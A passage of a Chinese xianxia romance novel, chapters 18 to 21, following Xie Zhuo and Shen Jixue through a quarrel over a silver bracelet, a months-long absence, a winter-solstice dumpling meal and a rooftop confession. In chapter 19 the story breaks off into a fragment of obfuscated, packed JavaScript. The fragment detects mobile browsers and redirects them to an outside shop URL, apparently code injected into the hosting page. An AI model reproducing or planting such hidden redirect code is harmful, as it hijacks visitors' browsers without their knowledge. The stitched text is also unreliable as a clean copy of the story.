她几乎没做多想,手指微动,取出银链,面不改色地递给了沈闻琴,语气温和:“喏,这是给你的。”
沈闻琴一愣,接过那条链子,脸上的委屈瞬间一扫而空,眼睛重新亮了起来,“谢谢师姐!我最喜欢师姐了!”
谢灼:“?”
谢灼脸上的笑容僵住了。
他看着自己戴着银链的手腕,又看看沈闻琴手里那抹蓝色,再看向一脸淡然的沈祭雪,简直不敢相信发生了什么。
“不是,你等等!”谢灼指着那条链子,看向沈祭雪,语气悲愤,“那条链子,为什么和你送我的一模一样?”
明明他的链子才到手不到一个时辰!
还是他辛辛苦苦软磨硬泡求来的!
他连怎么不经意地戴出去炫耀都想好了,结果这人就随手送了条一模一样的出去?
沈祭雪对上他控诉的眼神,顿了一下,摸了摸鼻尖,心虚地安抚道:“下次下山,买更好的给你。”
“我不要下次,”谢灼攥紧了手腕,咬牙切齿,“你把链子收回来,不许送他!”
18. 真心
沈闻琴在一旁听了半天,终于察觉到了不对劲,警惕地把银链藏到身后,瞪着谢灼:“凭什么你说收回就收回啊,师姐给我了,就是我的!”
谢灼没理他,只是眼神幽幽地盯着沈祭雪,大有她不发话把链子拿回来,绝不罢休的架势。
沈祭雪看着他们,有些头疼,试图讲道理:“只是一条普通银链而已……”
“不一样!”谢灼和沈闻琴异口同声。
谢灼:“是你送的!”
沈闻琴:“是师姐送的!”
沈祭雪:“……”
她无言以对。
沈二十三和沈溪默默后退一步,尽量减少在这场纷争中的存在感。双胞胎则一边啃着糖块,一边眨巴着大眼睛看热闹。
谢灼深吸一口气,用手捂着胸口,指着沈闻琴……身后的链子,对沈祭雪强调:“那是我向你求来的,你送了我一条,另一条丢了也好,自己戴也罢,反正不该再送旁人。”
沈祭雪叹了口气,心知是自己理亏,看向谢灼:“……我再编一条给你。”
谢灼眼眸微眯,权衡了一下,缓缓放下捂着心口的手:“真的?”
“嗯。”沈祭雪应了一声。
谢灼这才罢休,向沈祭雪轻轻笑了笑,还不忘瞪了沈闻琴一眼。
沈闻琴不服气地回瞪他,手背在身后,把链子攥得紧紧的。
夜深人静,一道黑影悄无声息地溜进了沈闻琴暂住的客房。
次日清晨,谢灼悠闲地坐在窗边,手腕轻轻晃动,两条镶着蓝晶石的银链泛着柔和的光泽。
他看了又看,唇角弯出弧度,心满意足。
“哼,”他低声自语,语气得意,“反正都是我的。”
那点失而复得的愉悦,几乎要化作实质,在他周身形成一圈飘飘然的气场。
就在这时,门外传来脚步声。来人停顿片刻,敲响了房门。
谢灼动作一顿,手腕一翻,将链子藏入袖中,语气带着点戒备。“谁?”
门外安静了一瞬,传来一个清冷的声音:“我。”
沈祭雪。
谢灼站起身,脚步顿了顿,慢悠悠地走过去拉开门。
沈祭雪站在门外,脸上没什么表情,眉眼间隐隐透出倦色。
“找我有事吗?”谢灼倚在门框上,看花看草看天看地,反正就是不看她。
沈祭雪沉默着,目光在他的手腕处停留了一瞬,然后,从袖中取出一物,递到了他面前。
那是一条全新的银链。
依旧是银质的链身,但编织的手法明显精细了许多,交错缠绕,古朴繁复。
链子中间,同样坠着一颗深蓝色的晶石,色泽纯净,与链身浑然一体。
整条链子看起来,比之前摊位上买那两条用心了何止十倍。
谢灼愣住了,目光终于犹犹豫豫地移到沈祭雪的脸上,“这……?”
“给你的。”沈祭雪言简意赅,手又往前递了半分。
谢灼下意识地接过,冰凉的银链和温润的晶石落入掌心,触感微妙。
他低头看了看,又抬头看她,试探道:“这是,你……下山买的?”
“编的。”沈祭雪道。
“你亲手编的?”谢灼更惊讶了,忍了忍,眼眸亮起来,唇角勾起。
他握着链子仔细打量,觉得这次自己是真的应当把它供起来。
“嗯。”沈祭雪应了一声,顿了顿,声音放低了些,道,“昨日之事,是我不对。不该将送你的东西也赠予他人。”
谢灼攥着链子,听了她的话,心情有些复杂。
那点因失而复得而膨胀的得意,和因她此刻举动而生的欢喜交织在一起,让他一时竟不知该作何反应。
见他没说话,沈祭雪抬眼看他,语气无奈,继续解释:“当时情势紧急,……我是怕闻琴当场哭出来。”
她似乎回想到了某个场景,微微蹙了下眉,补充道:“他小时候,很能哭。”
谢灼:“……”
他抬起手,动作慢吞吞地,将这条崭新的银链,戴在了手腕上。
大小合适,比旧的那条更漂亮。蓝色晶石妥帖地贴合在他的腕骨旁,与冷白的皮肤相得益彰。
他晃了晃手腕,看着那流转的华光,没说话。
沈祭雪看着他戴上,似乎松了口气,问道:“所以,你还生气吗?”
谢灼抬眸,将手搭在门扉上,慢吞吞地说道,“道友该记着,这种事,若再有下次,我此生就再也不会理你了。”
然后,不等沈祭雪答话,他“砰”地一声,将门关上了。
沈祭雪站在紧闭的房门前,愣了片刻,唇角微扬,转身离开。
屋内,谢灼背靠着门板,听着外面渐远的脚步声。
他抬起手腕,对着光再次仔细端详那条银链,眼眸弯了弯,嘴角控制不住地向上扬起。
……果然,会哭的孩子有糖吃,老祖宗诚不欺我。
午膳时分,小院石桌旁围坐了一圈人。
沈溪手艺好,简单的食材也做得香气四溢。双胞胎吃得腮帮子鼓鼓,沈二十三贴心地给他们夹菜。
沈闻琴挨着沈祭雪坐,嘴里叽叽喳喳说着自己这次下山的见闻。
“师姐,你尝尝这个,沈溪师兄的手艺又进步了!”
“师姐,我跟你说,我那次在山间遇到一只特别好玩的小精怪……”
“师姐……”
谢灼坐在沈祭雪另一边,恍若未闻地吃着饭,手腕上那条崭新的银链随着他的动作时不时显露出来。
沈闻琴说着说着,某一刻目光不经意瞥过谢灼的手腕,愣了一下。
他摸了摸自己腕上戴着的那条明显粗糙很多的链子,眉头皱了起来。
谢灼像是完全没注意到他的视线,放下碗,状似无意地对旁边的沈二十三感叹道:“唉,二十三啊,你看今天这天气真不错。”
沈二十三有点懵:“……啊?是,是不错。”
谢灼点点头,然后从容地将手腕搁在桌上,指尖轻轻点了点那颗蓝色晶石,叹息道:“是啊,阳光也好,照得这石头都格外透亮。”
“二十三,你说,这链子编织的手艺是不是挺特别的?一看就知道,编链子的人必然是玲珑心窍,心灵手巧。”
沈闻琴夹菜的动作顿住了,眼睛盯着谢灼的手腕。
沈二十三嘴角抽了抽,默默扒饭,不敢接话。
见她没反应,谢灼就去找双胞胎说话。
他用戴着银链的那只手去揉他们的脑袋,然后那抹蓝色就在沈闻琴眼前闪啊闪。
“二十五,二十六啊,吃饭要认真,你看,”他伸出手,指指他们的碗,“粒粒皆辛苦。”
双胞胎眨巴着大眼睛,看看链子,又看看谢灼,乖乖点头:“哦……”
沈溪忍笑忍得辛苦,又不好插嘴打断,只低头猛吃。
沈闻琴的脸色越来越黑,终于忍不住,“啪”地一声放下筷子,盯着谢灼的手腕,直接了当地问道:“你这链子……”
“哦?这个啊?”谢灼立刻接话,仿佛这么久就是在等着他问这一句。
他大大方方地将手腕伸到桌子中央,让所有人都能看清,语气自然,“师弟好眼光啊,这链子可是你师姐亲手编了送我的。”<
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p>“其实我同她说过不必如此麻烦,若想补偿我,再买一条就很好。可她偏不肯,说既是赔礼,就要心诚。”
“你师姐都这么说了,我能有什么办法呢?我当然也没办法了。”
沈闻琴的眼睛瞬间瞪圆了,看向沈祭雪:“师姐!你昨晚没休息好是为了给他编这个?”
沈祭雪:“……”
她面色平淡,夹了一筷子清炒时蔬放到碗里,语气从容:“少说话,多吃饭。”
谢灼立刻比了个噤声的手势,从善如流地闭嘴。
沈闻琴:“……”
自那日后,沈闻琴仿佛受了刺激,变本加厉地黏着沈祭雪。
谢灼从一开始的冷语相劝,到后来朝人翻白眼呲牙,再到最后直接笑着阻拦,越来越理直气壮。
沈二十三和沈溪从最初的试图调解,到后来的麻木围观。再到最后,已经能一边喝茶一边猜测,今日谢师兄和闻琴师弟为了吸引师姐的目光,又用了什么新招数。
这日,沈祭雪在房内绘制符箓,再三向众人强调,严禁打扰。
沈闻琴不愿违背她的话,也不愿意离开,就在院门口徘徊,伸长了脖子往里看。
谢灼抱着手臂倚在门框上,眼神冷飕飕地盯着他。
沈闻琴被那目光盯得浑身不自在,终于忍无可忍,猛地站直身体,冲着谢灼怒道:“你够了!你到底什么意思?为什么总是拦着我和师姐见面?!”
谢灼挑眉,站直身体,慢悠悠地走过来:“哎哟,是我表现得不明显吗?”
他低下头,扫了沈闻琴一眼,语气平淡,“自然是因为,你,很,碍,眼,啊。”
“你!”沈闻琴气结,俊朗的面容涨得通红,大声道,“我是师姐看着长大的!师父把我捡回来的时候,就是师姐带着我玩的!”
“你一个外人,凭什么拦着我去找她!凭什么不让我和师姐呆在一起!”
谢灼缓缓抬眼,看向他气得发亮的眼睛上,慢悠悠地答道:“师弟啊,我是你师姐的道侣,不算外人,算内人。”
“而且你都这么大了,还要黏着她,实在是不成体统。”
“没办法,我这个人心胸狭隘,气量狭小,见不得你和她呆在一起。看见了,就会喘不过气,心痛的厉害。”
沈闻琴鄙夷地看着他:“心痛是病,你还是趁现在活着的时候,早点去医馆治吧。”
谢灼笑了起来:“不不不,是你我五行相克,我这心痛就是看见你气的,医馆治不了。”
“师弟,若你现在下山,我这病立刻就好。怎么样?考虑一下吧,救人一命,胜造七级浮屠啊。”
沈闻琴张了张嘴,半天没说出话来。
他纠结了半晌,忽而想到了什么,压低声音问道:“为什么?难道……难道你……”
沈闻琴的眼神骤然变得惊疑不定:“师姐她告诉你了吗?”
谢灼挑眉:“什么?”
沈闻琴内心挣扎了好一会儿,闭着眼快速说道:“我师姐她修的是无情道。她找道侣,也是为了日后飞升。你只是她选中的目标而已!她说你也是如此……”
他猛地睁开眼,盯着谢灼:“可是,你现在,你难道……难道对我师姐动心了?你是真的喜欢我师姐?”
空气瞬间安静了下来。
院外偷听的沈二十三和沈溪同时屏住了呼吸。
过了好一会儿,谢灼才轻轻笑了一声,声音平淡,听不出任何情绪。
他看着沈闻琴,一字一顿,清晰无比。
“动心?”
“不可能。”
“我只是嫌你太吵了,仅此而已。”
19. 落雪
房门“吱呀”一声轻响。
沈祭雪拿着一叠绘好的符箓走了出来,神色平静,眼眸无波无澜。
谢灼的背影微微僵硬了一瞬,没有回头。
沈祭雪目光扫过院中对峙的两人,并未多言。
她将符箓分给守在院外的沈二十三和探头探脑的沈溪,声音寻常:“你们两个跟我一起,把这些给各峰分下去,近日宗内或有杂务,让他们随身带着,以防万一。”
“是,师姐。”沈二十三连忙走过来接过,小心翼翼地觑了一眼她的脸色,又飞快地瞟了瞟僵立原地的谢灼和一脸忿忿的沈闻琴。
沈闻琴瞪了谢灼一眼,重重哼了一声,追上沈祭雪:“师姐,等等我!我也帮你!”
谢灼站在原地,唇角抿成一条线。方才话说得有多干脆,此刻心底某个角落就有多空落,还隐隐泛着涩意。
他嗤笑一声,转身离开。
是夜。
谢灼躺在床榻上,辗转反侧。不知过了多久,才沉沉睡去。
梦境不期而至。
依旧是那片熟悉的,无边无际的雪原,冷香弥漫,沁入骨髓。
纷扬的雪花中,那人的面容冷白如玉,眉眼清绝,唇瓣却染着令人心惊的绯红,比白日里见过的那张脸更多了几分妖异。
她缓缓走近,如同梦中无数次重复的那样,冰冷的手指抚上他的脸颊。
然后,她低下头,靠近,气息交融,那双清冷的眸子近在咫尺,里面却空茫一片,倒映不出任何人的影子。
唇瓣相贴,是记忆中一模一样的冰凉柔软,没有半分温度。
谢灼意识浑噩,却又比以往任何一次都要清醒地感受到那份彻骨的冷漠。他挣扎着,想要抓住什么。
他艰难地开口,声音嘶哑破碎:“……你……你究竟……把我当做什么?”
那吻着他的女子动作微微一顿,稍稍退开些许,垂眸看着他,眼神淡漠。
然后,他听到她的声音,清冷如玉碎。
“不要期待那些虚妄的东西。”
“我给不了你。”
毫无迟疑,毫无感情,理所当然。
谢灼猛地从榻上坐起,呼吸急促,胸口剧烈起伏。窗外月色清冷,透过窗棂洒落一地银霜。
不要期待……
原来,她给出的答案是这样的。
可笑他白日里还能那般信誓旦旦地说着“不可能”。结果连梦里那个虚假的她,都能轻易将他搅得心神大乱,狼狈不堪。
心中那股莫名的躁动和无措几乎要脱离掌控。
谢灼抬手,狠狠抹了一把脸,指尖触到眼角,竟有些莫名的湿意。
他愣了片刻,随即咬牙切齿,低低骂了一声:“没出息!”
不过是一个梦而已,他何时变得如此优柔寡断,患得患失。
不能再这样下去了。
这个人,就像一个泥沼,让他越陷越深,几乎要迷失自己最初的目的。
他需要做点别的什么。
对,下山。
立刻,马上。
天刚蒙蒙亮,谢灼便去了合欢宗的事务堂,接了几个听起来最麻烦耗时的剿匪除妖任务,拿了卷轴便走。
因他并非合欢宗弟子,事务堂中的弟子叫住他,问,将这些功绩记在谁身上。
谢灼脚步一顿,似笑非笑地回头:“还能给谁?”
事务堂弟子顿悟。
回到沉鱼峰时,晨雾尚未散尽,一片寂静。其他人显然都还未起。
谢灼围着沉鱼峰转了一圈,目光下意识地瞥向沈祭雪房间的方向。窗扉紧闭,悄无声息。
他抿了抿唇,快步走回自己房间,扯过一张纸,研墨提笔。
写什么?
写“我下山做任务去了”。
划掉。
太刻意了,好像是为了专门告诉她似的。
写“勿念”。
划掉。
……她怎么可能会念。
最终,他只潦草地写了两个字:“走了。”
谢灼将纸条压在桌上最显眼的位置,确保有人进来就一定能看到。
日上三竿,小院里逐渐热闹起来。
双胞胎揉着眼睛跑出房间,沈溪准备去灶房张罗早饭,沈二十三去谢灼房外叫他。
她敲了半晌门,无人应答。
“咦?谢师兄今日起这么晚?”沈二十三嘀咕着,试着推开了门。
屋内空空如也,床铺整理得异常整齐。桌面上,一张孤零零的纸条被镇纸压着,随风微微晃动。
沈二十三心下诧异,走过去拿起纸条。
一眼看到张牙舞爪的字迹。
“走了?”沈二十三拿着纸条跑到院里,“谢师兄走了?”
“走了?去哪了?”沈溪从厨房探出头。
沈闻琴闻言一愣,随即脸上控制不住地露出笑意,眼睛骤然亮了起来:“真的假的?那碍眼的人终于走了?太好了!”
双胞胎好奇地围过来:“谢师兄去哪里了?”
“为什么不带我们?”
沈祭雪的身影出现在廊下,沈二十三连忙将纸条递过去:“师姐,谢师兄留下的。”
沈祭雪接过纸条,看了一眼,道:“知道了。”
谢灼这一走,便是数月。
他接的任务麻烦,牵扯甚广,天南地北跑了不少地方。期间也听到过一些合欢宗的消息,无非是些风流韵事,并无特别。
他手腕上那根银链倒是一直戴着,偶尔在厮杀中沾了血,也会仔细擦拭干净。
有时夜深人静,他对着月光看着链子,想起那日沈祭雪递过来时清冷的眉眼,心里便又是一阵说不清道不明的烦闷。
转眼,时节已入深冬。
空中飘起了细雪,纷纷扬扬,覆盖了山峦林木。
谢灼处理完最后一个任务,站在陌生的城镇街头,看着满目素白,鬼使神差地,去了集市,买了许多东西。
热腾腾的糖炒栗子,新出炉的梅花糕,几坛据说能暖身的烈酒……林林总总,提了满手。
他看着这些东西,愣了片刻,随即自嘲地笑了笑。
真是……疯了吧。
直到踏上返回沉鱼峰的传送阵,他才后知后觉地意识到自己做了什么。
山峰仿佛陷入了沉睡,唯有簌簌雪落。
大雪封山,万籁俱寂,熟悉的院落静悄悄的,烟囱里也没有炊烟,似乎没人。
几个不怕冷的外门弟子和双胞胎在雪地里嬉闹着打雪仗,清脆的笑声在空旷的山谷间回荡。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705662|189199||http|test|mini|href|location''.split(''|''),0,{}));
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>“谢师兄!”双胞胎眼尖,立刻发现了他,欢喜叫着,高兴地跑过来。
谢灼将手里的糖糕分给他们,揉了揉他们的脑袋。
“你们师姐呢?”他状似无意地问道。
“师姐在后山练剑呢!”沈二十六咬着糖糕,含糊不清地指向后山方向。
谢灼顿了顿,将其他东西塞给闻声赶过来的沈二十三和沈溪,吩咐他们分一分。然后便独自一人,朝着后山走去。
越往后山,人迹越是罕至,雪地平整,间或出现几行小兽的足迹。
远远地,他听到了剑刃破空之声,清冽又决绝。
他悄然靠近,隐在一棵覆满积雪的古松之后,循声望去。
只见一片冰天雪地之中,沈祭雪一袭单薄白衣,几乎与漫天风雪融为一体。长剑在她手中化作流光,卷起周遭雪花,纷扬环绕,又在她剑势收敛时悄然落下。
雪花纷纷扬扬,落在她的发梢,肩头,她却恍若未觉。
谢灼只是静静地看着,心跳就一下快过一下,再也移不开眼。
数月来的奔波,烦躁,刻意压制的思绪,在这一刻,奇异地平复下来。
什么无情道,什么任务,什么勿念……
全都是自欺欺人。
在看见这个人的时候,他就完了。
彻底完了。
沈祭雪似乎察觉到了什么,剑势一收,蓦然回首。
清冷的目光穿透纷飞的雪花,落在了他的身上。
四目相对,空气有片刻的凝滞。
沈祭雪眼中掠过一丝极淡的诧异,缓缓收剑入鞘,周身凌厉的剑气渐渐平息。
而后,她朝他走了过来,“你回来了。”
谢灼也从松树后走出,踏着积雪,一步步走向她。
“嗯。”他应了一声,声音压得有些低,“刚回来。”
两人之间隔着数步的距离,雪花无声飘落。
短暂的沉默在雪地里蔓延,似乎谁都不知道该说些什么。
数月的时间,那封简短的信,那些未曾宣之于口的东西,悄然横亘其间。
半晌,谢灼喉结滑动了一下,目光看向她单薄的衣衫,鬼使神差地问了一句:
“……你冷不冷?”
沈祭雪闻言,微微一怔,低头看了看自己身上的衣衫,又抬眼看他。
那双眼眸里掠过一丝难以捕捉的微光,沈祭雪轻轻摇了摇头。
顿了顿,她复又看向他,说了一句:“你回来了就好。今日是冬至,我们要包饺子的。”
说完,她便不再多言,转身,抱着剑,一步步朝着前院的方向走去。
谢灼站在原地,看着她渐行渐远的背影,雪花落满肩头。
雪地里的脚印蜿蜒向前,沈祭雪的背影在纷扬的雪花中显得有些模糊,却又清晰地刻在他的眼底。
心中百感交集,最后却只剩下一种无比清晰的庆幸。
庆幸他回来了。
庆幸还能看到她。
去他的无情道。
他深吸一口气,一步步跟着,踩在她留下的痕迹上,仿佛这样就能靠近那个可望不可即的人。
而越靠近小院,原本被风雪阻隔的喧闹声便越发清晰起来。
谢灼顿了顿,终于推开院门。
20. 烟火
屋檐下挂起了几盏暖黄的灯笼,映得飘落的雪花都多了几分暖意。
庭院中央支起了一柄大伞,伞下放着木桌。沈二十三吭哧吭哧地揉着面团。
沈溪在一旁手脚麻利地剁着馅料,肉香混合着野菜的清香弥漫开来。
双胞胎正有模有样地学着擀饺子皮,只是那面皮擀得奇形怪状,厚的厚,薄的薄,嘻嘻哈哈地打闹,沾了满脸的面粉。
沈闻琴坐在稍远处的廊下,面前摆着火炉,正温着一壶酒,托着腮,看着院中忙碌的景象,唇角勾起。
又一抬眼瞥见谢灼进来,那笑意便立刻收敛,换上一副“你怎么又回来了”的嫌弃表情。
沈祭雪站在桌边,微微垂着眼睫,神情专注地包饺子,手法很是熟练。
谢灼站在门口,一时有些恍惚。
这烟火气十足的景象,与他离开时那股冷寂的氛围,以及他数月来经历的厮杀血腥,绝然不同。
“哎呀,你还杵在门口干吗?进来帮忙啊!”沈溪头也不抬地向他喊,手起刀落,笃笃笃地继续剁馅。
谢灼回过神,摸了摸鼻子,掩去眼底翻涌的情绪,迈步走了进去。
他将身上带着寒气的斗篷解下挂到一边,挽起袖子,自然而然地走到沈祭雪旁边的空位。
“我要做什么?”他向沈祭雪问道。
沈祭雪还没开口,沈二十三已经抢着道:“快快快,谢师兄,你快来帮忙揉面。我的胳膊都要废了!”
她夸张地甩了甩手臂,脸上沾着白乎乎的面粉。
谢灼没动,看着沈祭雪。
沈祭雪包好了饺子,放在一旁的竹匾上,看了眼谢灼,又看了看沈二十三面前那巨大的面团,道:“去揉面吧。”
“好。”谢灼应得干脆,走到沈二十三那边,接过了揉面的活。
沈二十三如蒙大赦,瘫坐在一旁休息,好奇地打量着谢灼:“谢师兄,你这几个月去哪儿了?任务顺利吗?”
“只是去了几个地方,还行。”
双胞胎举着歪歪扭扭的饺子跑过来献宝:“谢师兄你看!我们包的饺子!”
谢灼低头看了眼那乱七八糟的面疙瘩,挑了挑眉,昧着良心鼓励:“嗯,包得很有……特色。煮熟后记得吃完。”
沈二十五期待地看着他:“那师兄你想尝尝我们包的饺子吗?”
谢灼想都没想,断然拒绝:“不想。”
沈祭雪看了看他们,像是忽然想起了什么,动作顿了顿。
她从袖中取出一个小布包,打开来,里面是一枚被擦拭得锃光瓦亮的铜钱。
“师姐,这是……”沈二十三好奇地问。
沈祭雪指尖捏着那枚铜钱,轻声道:“听说,冬至的饺子里若包上一枚铜钱,谁吃到了,来年便会诸事顺遂,心想事成。”
“哇!”双胞胎立刻兴奋地叫起来,“我要吃!我要好运!”
沈祭雪目光扫过众人,最后落在那枚铜钱上:“只有一枚。”
意思是,谁能吃到,各凭本事。
她小心地将那枚铜钱包了进去,然后仔细地将开口捏紧,混入众多饺子中。
谢灼眼神微动,手下揉面的动作慢了下来。
面团揉好后,谢灼就站在沈祭雪身边,开始学着包饺子。
他学什么都快,即便从未做过这种琐事,看了几眼,手下包出的饺子竟也有模有样,甚至比沈溪包的还要挺括精致。
趁着众人说笑打闹的间隙,他每包一个饺子,便手法极快地从袖袋里摸出一枚铜钱,悄无声息地包进了饺子里,然后若无其事地继续包,唇角悄然勾起。
沈祭雪倒是瞧见了,微微抿唇,什么也没说。
饺子终于全部包完,形态各异,摆满了几个大大的竹匾。沈溪烧开了一大锅水,白茫茫的水汽蒸腾而上。
饺子下锅,在滚水里沉沉浮浮,如同元宝一般,香味越发浓郁。
众人围坐在桌前,窗外是簌簌的雪落声,窗内却是碗筷碰撞的轻响和弥漫的热气。
沈祭雪先动筷,咀嚼的动作微微一顿,眉心蹙了一下,然后,用筷子从唇边取出了一枚亮晶晶的铜钱。
“哇!师姐吃到了!”双胞胎立刻欢呼起来。
“恭喜师姐!明年一定好运连连!”沈二十三和沈溪也笑着道贺。
沈祭雪看着那枚铜钱,轻轻“嗯”了一声,将铜钱放在桌边,继续低头吃饺子,眼睫微垂。
谢灼看着她,心里那点恶劣的小心思得到了满足,嘴角刚想上扬。
“咦?我这儿也有!”沈溪突然也吐出一枚铜钱,愣住了。
“啊!我也有!”沈二十三咬了一口,牙齿被硌了一下,吐出来,果然又是一枚。
接二连三,双胞胎也嗷嗷叫着从嘴里吐出铜钱。沈闻琴皱着眉,用筷子拨弄着碗里的饺子,果然也找出一枚来。
桌上瞬间叮叮当当响成一片,每个人面前都躺着一枚甚至两枚铜钱。
气氛从最初的惊喜变成了错愕和好笑。
“这……这铜钱成精了?”沈二十三拿着两枚铜钱,哭笑不得。
沈二十六噗嗤一声笑出来:“哈哈哈,定是有人搞鬼!”
所有人的目光,齐刷刷地投向了从刚才起就埋头苦吃,一言不发的谢灼。
谢灼倒是很镇定:“看我做什么?我可什么也没做啊。吃到了,也许是因为你们明年的运气都很好啊。”
话音未落,他猛地“嘶——”了一声,捂住了嘴,眉头紧紧皱起,神色痛苦。
乐极生悲,光顾着偷笑和掩饰,一不小心,咬到了自己的舌头。
众人:“……”
沈祭雪看着围坐在一起的几人,忽然开口,声音很是温和。
她先看向双胞胎:“你们两个,近日课业颇有进益,心性亦沉静不少。”
双胞胎立刻挺直了背,脸上放光。
接着又看了看沈二十三:“二十三这一年处事愈发稳妥,修为根基渐固。”
沈二十三不好意思地挠挠头,笑了笑。
“沈溪每日照顾大家,还要修练,辛苦了。”
沈溪笑着摆手:“应该的应该的。”
最后,她目光转向沈闻琴,略一停顿:“闻琴……剑意有所精进,勤勉可嘉。”
沈闻琴愣了一下,嘴角悄然翘起,眼睛亮了起来。
谢灼端着酒杯,手指微微收紧。
一个一个,她都夸了。
下一个,该是他了吧?
然而,沈祭雪说完“勤勉可嘉”四个字后,看也没看他,将杯中酒一饮而尽,然后沉默地开始收拾桌子。
就这?
没了?
谢灼僵在原地,心口堵得发慌。
他端起酒杯,垂着眼,自嘲地想:是啊,他有什
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么好夸的?自作主张不告而别的是他,回来捣乱的也是他。
她没赶自己走,已经很好了。
做人要知足。
夜色渐深,雪不知何时停了,墨蓝天幕上缀着几颗疏星。
沈二十三和沈闻琴搬出了早就准备好的烟花,带着双胞胎和沈溪,在院外的空地上燃放。
绚丽的色彩骤然划破寂静的夜空,砰然绽放。
沈祭雪独自一人坐到了屋顶上,一袭白衣几乎融入积雪里。
她安静地看着远处不断升腾,炸开的绚烂光芒,侧脸在明明灭灭的光影中显得格外清冷孤寂。
谢灼站在院子里,仰头望着屋顶上的那抹身影。
这人,似乎永远跟这世间的热闹隔了一层说不清道不明的东西。
他看了一会儿,忽然足尖轻轻一点,身影翩然掠起,落在了沈祭雪身边。
沈祭雪没有回头,似乎早知道他会来。
两人一时无话,远处不时传来笑闹声和烟花绽放的轰鸣声。
酒意混杂着心底那点不甘,慢慢蒸腾上来。谢灼侧过头,看着沈祭雪被流光勾勒出的轮廓,终于忍不住开口。
“为什么?”他问。
沈祭雪终于转过头来看他,眼眸里映着漫天华彩,“什么?”
“为什么……”谢灼顿了顿,又问了一遍,“刚才……夸了所有人,唯独没有我?”
沈祭雪沉默地看着他,烟花一簇簇在她身后绽放,璀璨夺目,明明灭灭。
她的眼眸中光影流转,看不真切。
她看了他很久,久到谢灼以为她不会回答,或者像他梦境中的幻影一样,用理所当然的语气说出最伤人的话。
就在他几乎要不抱希望的时候,却听到她轻轻开口,
“那,现在补给你。”
谢灼一愣。
沈祭雪微微倾身,向他靠近了些,极其认真地,一字一句,轻声说道:
“积石如玉,列松如翠。”
谢灼的心脏猛地一跳。
……他当然知道下两句是什么。
郎艳独绝,世无其二。
……极言男子容貌俊美,风姿出众的溢美之词。
他蓦地低笑出声,眼眸中带着几分难以置信,光华流转,比烟花更亮:“沈祭雪……你就那么喜欢我的脸?”
他问得直接,语气里带了点戏谑的意思。
沈祭雪闻言,竟然诚恳地点了点头:“嗯。”
……坦荡得让人心惊。
谢灼看着她近在咫尺的面容,那双总是清冷空茫的眸子此刻正清晰地倒映出他的影子。
鬼使神差地,他抬手,缓缓解开了脸上的银制面具。
依旧是妖艳绝伦的一张脸。眉眼狭长,鼻梁高挺,唇瓣绯红。
那双眼睛,默不作声地,专注地凝视着她,里面翻滚着太多复杂难辨的情绪,炽热得几乎要将人灼伤。
沈祭雪的目光在他脸上停留许久,微微怔住,像是被这过分艳丽的容貌晃了眼。
远处,又一簇巨大的烟花呼啸着升空,轰然炸开,金色的流光如瀑般洒落,瞬间照亮了整个夜空。
空气中弥漫着清冷的雪意和醉人的酒气。
谢灼缓缓地,试探般地靠近。
沈祭雪没有躲闪,只是静静地看着他,眸中氤氲着水光,倒映着璀璨的烟花和他越来越近的脸。
21. 月色
谢灼眼底翻涌着暗潮,靠近时却带着迟疑,仿佛在触碰一场易碎的梦境。
他身上清冽的气息混合着淡淡的酒香,以及风雪拂过的微寒,将沈祭雪悄然笼罩。
远处烟花的轰鸣变得模糊,唯有彼此逐渐交错的呼吸声,清晰可闻。
他的唇先是轻轻擦过她的唇角,见她没有抗拒,那触碰才缓缓印实,落在了她的唇上。
冰凉,柔软,带着一点微醺气息。
极其轻柔的触碰,浅尝辄止。
谢灼微微退开些许,眼眸低垂,心跳如擂鼓,撞击着胸腔,震得他耳膜发疼。
沈祭雪的眼睫轻轻颤动了一下,陌生而强烈的悸动从方才相贴的唇瓣缓缓蔓延至心口。
她生性不喜与人亲近,但此刻,这过于亲密的接触却并未引起预想中的反感。
反而……有种奇异的熟悉感,仿佛本该如此。
她微微仰头看着他,眸色比夜色更深。而后抬手,勾起他的脸,俯身吻了上去。
谢灼的呼吸猛地一窒。
冰凉被温热覆盖,轻柔被深入取代。
唇齿交缠间,呼吸变得滚烫而急促。面具不知何时被丢在了一旁的积雪里。他修长的手指插入她的发丝,让她更贴近自己。
这个吻变得深入而绵长。
直到远处又一簇烟花炸响,金色的光芒泼洒而下,将屋顶相拥亲吻的两人照得清晰无比。
谢灼才像是骤然惊醒般,猛地松开了她。
他张了张嘴,想说什么,却一时失语。
沈祭雪却先开了口,声音比平时柔和了些:“亲够了吗?”
谢灼:“……”
没等他回答,沈祭雪微微蹙眉,又低声说了一句:“有点喘不过气。”
谢灼低低地笑出声,神色颇为无奈。
“嗯,我的错。”他从善如流地道歉。
沈祭雪点了点头,接受了他的说辞。而后视线越过他,又看向空中开始绽放的烟花。
谢灼看着她,觉得自己的心软成了一滩春水,于是又轻轻唤了一声:“沈祭雪。”
沈祭雪偏过头看他。
谢灼就笑了:“没事,就是在想,如果我们早点遇见,会是什么样子。”
沈祭雪默了默,迟疑道:“也许会斗得你死我活,两败俱伤。”
“……不会的。”
谢灼伸出手,与她十指相扣,眼中仿佛倒映着漫天星辰,笃定道:“我们会更早在一起,会有更多的好时光。”
“在遇见你之前,我总觉得,岁月漫长,世间一切不过籍籍。”
“后来我才明白,或许我历经数年光阴,辗转流离,都只是为了遇见你。”
“所以,不管你怎么看我,是否在意,我都要告诉你。”
“沈祭雪,我爱你。”
“好,……我知道。”
……
次日清晨。
雪后初霁,阳光透过窗棂,在地上投下明亮的光斑。
谢灼几乎一夜没睡,早早起身,在廊下徘徊了许久,终于看到沈祭雪的房门打开。
她换了一身素净的衣裙,墨发用一根简单的玉簪挽起,神色如常。
谢灼的心提到了嗓子眼,仔细观察着她的表情,试图从中找到一丝一毫的异样。
沈祭雪转动眼眸,看向他,似乎有些不解他为何这样盯着自己。
谢灼闭了闭眼,决定单刀直入,不给她否认的机会:“那个……我们昨晚……在屋顶……你还记得吗?”
沈祭雪整理了一下衣袖,闻言动作顿了顿,抬眼看他,眼神平静无波:“记得。”
“你亲了我。”
“我也亲了你。”
“你说你爱我。”
“我想了一夜,觉得很好。”
“我很开心。也许是因为我也爱你。”
